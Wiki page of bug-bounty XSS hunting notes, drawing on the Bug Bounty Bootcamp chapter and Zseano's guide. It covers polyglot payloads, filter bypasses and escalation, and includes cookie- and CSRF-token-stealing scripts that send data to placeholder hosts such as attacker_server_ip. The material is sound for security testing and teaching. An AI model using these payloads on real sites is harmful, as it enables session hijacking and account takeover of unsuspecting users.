tbhm:05_xss
This is an old revision of the document!
Table of Contents
Tactical Fuzzing - XSS
XSS
Core Idea: Does the page functionality display something to the users? For time sensitive testing the 80/20 rule applies. Many testers use Polyglot payloads. You probably have too!
Multi-context, filter bypass based polyglot payload #1 (Rsnake XSS Cheat Sheet)
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Multi-context, filter bypass based polyglot payload #2 (Ashar Javed XSS Research)
">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'"><img src="http://i.imgur.com/P8mL8.jpg">
Multi-context polyglot payload (Mathias Karlsson)
" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//
Other XSS Observations
Input Vectors:
- Customizable Themes & Profiles via CSS
- Event or meeting names
- URI based
- Imported from a 3rd party (think Facebook integration)
- JSON POST Values (check returning content type)
- File Upload names
- Uploaded files (swf, HTML, ++)
- Custom Error pages
- fake params - ?realparam=1&foo=bar'+alert(/XSS/)+'
- Login and Forgot password forms
SWF Parameter XSS
Common Params: onload, allowedDomain, movieplayer, xmlPath, eventhandler, callback (more on OWASP page)
Common Injection Strings:
\%22})))}catch(e){alert(document.domain);}//
"]);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
"a")(({type:"ready"}));}catch(e){alert(1)}//
Zseano's XSS Filter Bypass Flow
- How are non-malicious tags handled?
<h2>,<b> - Incomplete tags?
<iframe src=attacker.com/c=* Encodings?<%00h2>,%0d,%0a,%09* Hardcoded blacklist? Does</script/x>work?<ScRiPt>''? * WAF filter: does it filter parameter values but not names? Blind XSS targets: support tickets, admin-visible fields (name, bio), log-visible headers (User-Agent, Referer). Missed vectors: CSS customization fields, event names, file upload filenames, JSON POST bodies, custom error pages, mobile app forms. * Full Zseano XSS Guide ====== BBC Ch 6: Cross-Site Scripting – Expanded ====== Merged from Bug Bounty Bootcamp Ch 6 by Vickie Li ===== How XSS Works ===== XSS happens when an attacker injects a script into a page that another user views. Because the injected script runs in the victim's browser as if it belongs to the target site, it can access anything the site's JavaScript can access: cookies, session tokens, page content, CSRF tokens. Classic cookie-theft payload: <code javascript> <script>image = new Image(); image.src='http://attacker_server_ip/?c='+document.cookie;</script> </code> If HttpOnly is set on the session cookie, JS cannot read it – but the attacker can still perform actions on the victim's behalf, modify the page DOM, steal CSRF tokens, or replace the page with a phishing login form. ===== XSS Types ===== ==== Stored XSS ==== User input is stored server-side (database, log, message board) and rendered to other users without sanitization. Single payload attacks every visitor. Most severe type – affects every user who views the stored content. Classic example: injecting a script into a comment field. Every user who loads the page executes the script. ==== Blind XSS ==== A variant of stored XSS where the payload fires in a part of the application you cannot see – typically an admin panel or internal logging system. You submit the payload through a user-facing form (support message, contact form, user agent field), and the script executes when an admin views it. Detection: use an out-of-band callback instead of an alert box: <code> <script src='http://YOUR_SERVER_IP/xss'></script> </code> Monitor server logs for a GET /xss – that confirms execution in an admin context. XSSHunter automates this. ==== Reflected XSS ==== User input is returned to the user in the same request/response without being stored. Typical vector: search queries, error messages, URL parameters reflected onto the page. <code> https://example.com/search?q=<script>alert('XSS by Vickie');</script> </code> The victim must click a crafted link. Affects only users who visit the URL. ==== DOM-Based XSS ==== The payload never reaches the server. Client-side JavaScript reads user-supplied data (URL fragment, query param) and writes it to the DOM insecurely. The HTTP response from the server is unchanged – you won't find it by looking at server responses. Example: a page reads `?locale=` and inserts it into the page: <code> https://example.com?locale=<script>location='http://attacker_server_ip/?c='+document.cookie;</script> </code> Key: URL fragments (`#`) never leave the browser, so DOM XSS via fragments is invisible to server-side WAFs. ==== Self-XSS ==== Victim must inject the payload themselves (social engineering required). Not accepted in bug bounty programs because exploitation requires manipulating the victim, not a technical flaw alone. ===== Prevention ===== * Input validation – reject input containing `<script>` or JS-relevant characters at the server * Output escaping – encode `<`, `>`, `“`, `'`, `&` before inserting user data into HTML; use context-appropriate encoding (HTML, JS, URL, CSS) * HttpOnly on session cookies – prevents JS from reading cookies even if XSS fires * Content-Security-Policy header – restricts which scripts the browser will execute; `script-src 'self'` blocks inline scripts and external origins * Modern JS frameworks – React, Angular 2+, Vue.js escape output automatically DOM XSS prevention requires client-side input validation before writing to the DOM. Server-side sanitization alone won't catch it. Reference: OWASP XSS Prevention Cheat Sheet ===== Hunting for XSS ===== ==== Step 1: Find Input Opportunities ==== * Every text input field, search box, sign-up form, comment field, profile field * URL parameters and fragments reflected in the page * Drop-down menus and numeric fields – intercept with Burp and replace the value; client-side restrictions don't apply at the network layer * Insert a unique canary string (e.g. `XSS_BY_VICKIE`) into every input point, then search source for it to see which fields make it into the DOM ==== Step 2: Insert Payloads ==== Common payloads: | Payload | Purpose | |—|—| | `<script>alert(1)</script>` | Basic test – pop-up if unfiltered | | `<iframe src=javascript:alert(1)>` | Useful when script tags are blocked | | `<body onload=alert(1)>` | No “script” string required | | `”><img src=x onerror=prompt(1);>` | Closes previous tag, img error fires JS | | `<script>alert(1)<!-` | Comments out remainder of line | | `<a onmouseover=“alert(1)”>test</a>` | Fires on hover | | `<script src=attacker.com/test.js>` | Loads external script | XSS polyglot (works across multiple contexts – img, script, p tags): <code> javascript:“/*”/*`/*' /*</template> </textarea></noembed></noscript></title> </style></script>–><svg onload=/*<html/*/onmouseover=alert()> </code> Generic test string to identify which characters are escaped: `>'<“;:!–` Blind XSS OOB payload: <code> <script src='http://YOUR_SERVER_IP/xss'></script> </code> Watch server logs – a request to /xss confirms execution. ==== Step 3: Confirm Impact ==== * Stored: check the page where the input is displayed; does your alert fire? * Reflected/DOM: does the browser redirect (if using `location=`) or pop an alert? * Blind: check server logs for the callback request * Consider timing delays – admin pages might not load until an admin logs in ===== Bypassing XSS Filters ===== ==== Alternative JS Syntax ==== If `<script>` is blocked, use event handlers or URL schemes: <code> <img src=“123” onerror=“alert('XSS by Vickie');”/> <a href=“javascript:alert('XSS by Vickie')”>Click me!</a> </code> `javascript:` and `data:` URL schemes execute JS in anchor and iframe `src` attributes. Data URL example: <code> data:text/html,<script>alert('XSS by Vickie')</script> </code> ==== Capitalization and Encoding ==== Filters that match exact strings can often be bypassed with mixed case (browsers are permissive): <code> <scrIPT>location='http://attacker_server_ip/?c='+document.cookie;</scrIPT> </code> If the filter blocks single/double quotes, use `String.fromCharCode()`: <code> <scrIPT>location=String.fromCharCode(104,116,116,112,58,47,47,97,116,116,97,99,107,101,114,95,115,101,114,118,101,114,95,105,112,47,63,99,61)+document.cookie;</scrIPT> </code> ==== Filter Logic Errors ==== If the filter removes `<script>` tags exactly once, nest them so removing the inner tag reconstructs the outer: <code> <scrip<script>t>location='http://attacker_server_ip/?c='+document.cookie;</scrip</script>t> </code> ==== Closing Out Tags ==== When your input lands inside an existing HTML attribute (e.g. `<img src=“USER_INPUT”>`), close the attribute and tag first: <code> ”/><script>location=“http://attacker.com”;</script> </code> Check browser console for syntax errors if your payload isn't firing. Reference: OWASP XSS filter evasion cheat sheet ===== Escalating the Attack ===== Impact depends on where the XSS fires: * Server logs / admin panel – stored XSS here can compromise admin accounts, exfiltrate customer data, lead to RCE via shell upload or script-as-admin * General user base – session hijacking via cookie theft, account takeover * CSRF token theft – steal the token from the DOM, then perform state-changing actions as the victim: <code javascript> var token = document.getElementsByTagId('csrf-token')[0]; var xhr = new XMLHttpRequest(); xhr.open(“GET”, “http://attacker_server_ip/?token=”+token, true); xhr.send(null); </code> * Page replacement – replace the DOM with a fake login form (phishing) * RCE escalation – if the XSS fires in an Electron app or with sufficient admin privileges ===== Finding Your First XSS – 7-Step Checklist ===== - Look for user input opportunities. Stored input: test for stored XSS. URL-reflected input: test for reflected and DOM XSS. - Insert XSS payloads at all discovered injection points. Use lists, polyglots, or a generic test string. - Confirm impact: pop-up, redirect, or OOB callback from your server. - If payloads are blocked, bypass XSS protections (alt syntax, encoding, filter logic errors). - Automate with Burp Intruder or fuzzing (see Ch 25). - Assess impact: who does it target? How many users? Admin context or user context? - Send the report with a working PoC.
tbhm/05_xss.1778751224.txt.gz · Last modified: by drew
